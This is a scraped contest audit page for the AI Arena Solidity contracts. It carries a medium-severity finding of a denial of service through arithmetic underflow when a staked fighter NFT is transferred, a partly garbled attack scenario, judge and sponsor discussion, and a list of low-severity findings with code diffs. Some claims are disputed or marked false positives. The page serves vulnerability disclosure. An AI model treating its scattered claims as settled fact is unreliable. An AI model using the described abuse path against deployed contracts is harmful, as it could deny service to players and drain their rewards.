accumulatedPointsPerFighter[tokenId][roundId] -= points; π₯π₯π₯---> accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; } } } }
This issue is not related to frontrunning or staked amount manipulation, but uniquely related to transfering tokens after unsatking because the owner doesn;t want to battle by staking anymore. So now previously he won some points. And these points can be used to claim tokens if won, or lost then points are decreased. This is when the DOS is impacting, by changing owner by transfering the token to another wallet or worse selling in marketplace. So now the points cannot be decreased even if lost, and he can use those points for claiming NRN for the rounds he previously won. This is unfair claiming of rewards, and also the game server can never update the battle data for this tokenId ever. It will be worse when the token is sold on markets, where the new owner cannot win any more battles with that fighter nft.
If the fighterOwner
is changed for a token, then that token's battle points cannot be updated because accumulatedPointsPerAddress[fighterOwner][roundId]
will be 0, and if the owner is changed, then 0 - some points will revert and its a DOS.
See POC section for the attack scenario
sample attack scenario, doesn't have to be exactly like this, the user just have to own some points won previously and stake at risk should be > 0. There is so much time in between these activities and som amy oppurtunities to unstake, so no need to frontrun. for example: if 90+ volate is spent, the game server cannot call update battle record.
updateBattleRecord
action will fail due to the DOS mentioned above.claimNRN
, so now he can mint new nfts by merging, so he not not caused DOS to update battle but also claim reward for he doesn't deserve.Manual + Foundry testing
Do not keep track of accumulatedPointsPerAddress
onchain, but keep track on offchain, because it doesn;t serve any purpose on chain, because it is not validating.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); /// Calculate the staking factor if it has not already been calculated for this round if (_calculatedStakingFactor[tokenId][roundId] == false) { stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk); _calculatedStakingFactor[tokenId][roundId] = true; } /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { --------------- skimmed -------------------------------- } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; - accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; } } } }
DoS
#0 - c4-pre-sort
2024-02-23T19:48:05Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T19:48:10Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-23T19:49:15Z
This would cause an issue indeed unless the new owner chooses to play in the next round.
#3 - c4-sponsor
2024-03-04T01:53:41Z
brandinho marked the issue as disagree with severity
#4 - brandinho
2024-03-04T01:55:47Z
The severity should be medium.
This comment is an exaggeration: "the game server can never update the battle data for this tokenId ever." Updates only won't work for the current round.
Also, this DoS only happens if a user bypasses the safeTransferFrom (from another issue we are going to resolve), so if we fix that, then this is not an issue. The reason is because
accumulatedPointsPerFighter[tokenId][roundId] > 0
is only positive if the previous owner had staked and won. This means that in order to transfer (assuming we fix the override), they need to unstake. If they unstake, then the new owner will NOT be able to restake for that round, which means this line of code will never get triggered.
#5 - c4-sponsor
2024-03-04T01:56:04Z
brandinho (sponsor) confirmed
#6 - c4-judge
2024-03-12T03:34:05Z
HickupHH3 changed the severity to 2 (Med Risk)
#7 - c4-judge
2024-03-12T03:34:18Z
HickupHH3 marked the issue as satisfactory
#8 - HickupHH3
2024-03-12T03:58:18Z
Also, this DoS only happens if a user bypasses the safeTransferFrom (from another issue we are going to resolve), so if we fix that, then this is not an issue. The reason is because accumulatedPointsPerFighter[tokenId][roundId] > 0 is only positive if the previous owner had staked and won. This means that in order to transfer (assuming we fix the override), they need to unstake. If they unstake, then the new owner will NOT be able to restake for that round, which means this line of code will never get triggered.
The root cause seems to be that when unstaking, a fighter with 0 remaining stake amount but has non-zero stake at risk is updated to be unstaked, which causes the DoS when transferred to another owner. This is independent from the override. See #137 as an example.
I believe the underflow with the amountLost
mapping stems from the same issue, but I'll leave it to post-judging for other wardens to correct me if i'm wrong.
Severity: 2 β Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
The solution mentioned in #833 might also solve this issue, to _addResultPoints()
only if the NFT remains staked for that round. Then the stake-at-risk funds would be deemed lost and swept (whether this is acceptable is another issue, as long as the stake is reduced, the NFT will be marked as unstaked for the current round).
Full credit: finding root vulnerability: change updateFighterStaking()
to false
when _stakeAtRiskInstance.getStakeAtRisk(tokenId) != 0
Partial credit: 50%. Subtraction underflow issues of amountLost
|| accumulatedPointsPerAddress
mapping without some mention of the main vuln
#9 - c4-judge
2024-03-12T04:01:28Z
HickupHH3 changed the severity to 3 (High Risk)
#10 - c4-judge
2024-03-12T04:03:33Z
HickupHH3 changed the severity to 2 (Med Risk)
#11 - c4-judge
2024-03-13T09:52:24Z
HickupHH3 marked the issue as partial-50
#12 - c4-judge
2024-03-13T11:24:52Z
HickupHH3 marked the issue as satisfactory
#13 - c4-judge
2024-03-14T06:25:59Z
HickupHH3 marked issue #137 as primary and marked this issue as a duplicate of 137
π Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
8.8123 USDC - $8.81
id | title |
---|---|
L-1 | reclaim issues in updateBattleRecord |
L-2 | neuron.setupAirdrop is succeptable to approval race condition |
L-3 | Signature verification is not EIP-712 complaint |
L-4 | if all stakes were slashed then the fighter owner can experience DOS to ulock his staked fighter |
L-5 | Wrong FixedPointMathLib version usage |
L-6 | FighterFarm::reroll doesn't update the generation and other item data |
L-7 | neuron.burnFrom is not in erc standard |
L-8 | MergingPool.getFighterPoints will revert if id > 1 as input |
L-9 | wrong support interface chain inheritance |
L-10 | precision loss an staking factor calculation |
L-11 | Transferring FighterFarm tokens to a address with 9 holders will DOS their purchases |
L-12 | FighterFarm::mintFromMergingPool uses msg.sender instead of to address to compute dna |
L-13 | FighterFarm::updateModel allows an one to copy the model of others |
L-14 | Reroll cost is hardcoded |
L-15 | claimNRN can be DOS if rains go over 100+ |
L-16 | Support for the PUSH0 opcode |
updateBattleRecord will revert if stake at risk doesnt have enough balance.
if stakeAtRisk contract doesn't have any balance, then the updateBattleRecord
by game server will revert. This balance descepency will happen if some winners reclaim larger than others or many times.
the reclaim % is very unfair, because he stake at risk is 1% of the staked when the attle is lost, but when won next time we only get 1% of that 1%, meaning 10000 tokens initially staked will risk 10 tokens as loss. now any win after that will only be possible to reclaim % of the 10 tokens = 0.1 token. This is unfair, and it takes 100 wins to reclaim all that was lost of 1%. So design a better system, of reclaiming %
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ------------------------------- skimmed -------------------------- if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; } ------------------------------- skimmed -------------------------- } function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external { require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract"); require( stakeAtRisk[roundId][fighterId] >= nrnToReclaim, "Fighter does not have enough stake at risk" ); bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim); if (success) { stakeAtRisk[roundId][fighterId] -= nrnToReclaim; totalStakeAtRisk[roundId] -= nrnToReclaim; amountLost[fighterOwner] -= nrnToReclaim; emit ReclaimedStake(fighterId, nrnToReclaim); } }
if admin wants to edit already set airdrop then he will change from 5 to 10, now the recipient will frontrun the second setup and claim 5, then after the second set he will claim 15 making total claim = 15. So make setup to zero first and then set up to value like USDT mainnet., add a line like if current approval is non-zero then make it zero and then only you can make new non zero.
function setupAirdrop(address[] calldata recipients, uint256[] calldata amounts) external { require(isAdmin[msg.sender]); require(recipients.length == amounts.length); uint256 recipientsLength = recipients.length; for (uint32 i = 0; i < recipientsLength; i++) { _approve(treasuryAddress, recipients[i], amounts[i]); } }
signature doesn't encode contract address, version, chainId, and other replayablility. So it is recommended to use Openzeppelin ECDSA library implemntation to verify signatures instead of Verification.sol implementation.
The important check is the below issue
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well.
Replace Verification.sol with ECDSA.sol from ==> https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/utils/cryptography/ECDSA.sol
Look at actions RankedBattle::updateBattleRecord and RankedBattle::_addResultPoints
Lets say the loss bps is 50 at some point and nor within 20 battles loss, all the staked amount of a fighter is slashed at put to risk on stakeAtRisk contract. And now the fighter can never call unstake to unlock his locked nft. And its a DOS. so, user has to stake a small amount again and unstake to release the nft.
It is recommended to addunstake nft action if staked amount == 0 on RankedBattle::_addResultPoints
The squareRoot function from FixedPointMathLib
is much different than the solmate latest version, making the usage of old version vulnerable. so use the latest version at ===> https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol
when reolling to new skin/weight, the game item data is nt fulling updated.
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; + fighters[tokenId].generation = generation[fighterType]; + fighters[tokenId].dendroidBool = fighterType == 1; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
function burnFrom(address account, uint256 amount) public virtual { require( allowance(account, msg.sender) >= amount, "ERC20: burn amount exceeds allowance" ); uint256 decreasedAllowance = allowance(account, msg.sender) - amount; _burn(account, amount); _approve(account, msg.sender, decreasedAllowance); }
id > 1
as inputfunction getFighterPoints(uint256 maxId) public view returns(uint256[] memory) { - uint256[] memory points = new uint256[](1); + uint256[] memory points = new uint256[](maxId); for (uint256 i = 0; i < maxId; i++) { points[i] = fighterPoints[i]; } return points; }
Modify like this, FighterFarm::supportsInterface
function supportsInterface(bytes4 _interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { - return super.supportsInterface(_interfaceId); + return ERC721.supportsInterface(_interfaceId) ||ERC721Enumerable.supportsInterface(_interfaceId); }
sqrt
very low, and the result will mostly be in the low precision range.function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) stakingFactor_ = 1; return stakingFactor_; }
This is a DOS for claim / mint / redeem / marketplace purchases
MAX_FIGHTERS_ALLOWED
. This is temporary DOS and he has to butn/trnasfe to other address inorder to claim new nft.The redeem and claim functions rely on to
address for dna computation ex: here
but here it is called by _mergingPoolAddress
, so it always uses msg.sender insteaf of to
function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, - uint256(keccak256(abi.encode(msg.sender, fighters.length))), + uint256(keccak256(abi.encode(to, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); }
And no event is emitted.
function updateModel( uint256 tokenId, string calldata modelHash, string calldata modelType ) external { require(msg.sender == ownerOf(tokenId)); fighters[tokenId].modelHash = modelHash; fighters[tokenId].modelType = modelType; numTrained[tokenId] += 1; totalNumTrained += 1; + emit UpdateModel(tokenId, modelHash, modelType); }
`uint256 public rerollCost = 1000 * 10**18;`
Isuue is also present in MergingPool::claimRewards
when unbounded loop will revert OOG error
This issue is due to the unbounded array out of gas error
If some early member came back after 100+ rounds he has to loop all 100 and it will take 100 storage reads + 100 storage updates and will run out of gas. so it is recommended to either update numRounds
state outside the loop or allow to claim by mentioning particular round by claimer.
function claimNRN() external { require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period"); uint256 claimableNRN = 0; uint256 nrnDistribution; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { nrnDistribution = getNrnDistribution(currentRound); claimableNRN += ( accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution ) / totalAccumulatedPoints[currentRound]; @---> numRoundsClaimed[msg.sender] += 1; } if (claimableNRN > 0) { amountClaimed[msg.sender] += claimableNRN; _neuronInstance.mint(msg.sender, claimableNRN); emit Claimed(msg.sender, claimableNRN); } }
On Arbitrum and Base the PUSH0 opcode is not supported yet. Since the project is using a solidity version is floating it can only be used with evm version lower than the default shanghai, e.g. paris. Make sure to check the support for the aforementioned opcode on all the chains you are planning to deploy the contracts on
Recommendation One of the options is to add the following to the foundry.toml file: 1 evm_version = "paris"
#0 - raymondfam
2024-02-26T03:19:04Z
L-15 to #1541 With the exception of L-16 being a false positive where the issue is now resolved, i.e. Paris over Shanghai, the report possesses an adequate amount of generic L and NC. Links on instances entailed are mostly missing though.
#1 - c4-pre-sort
2024-02-26T03:19:09Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2024-03-12T02:51:25Z
HickupHH3 marked the issue as grade-b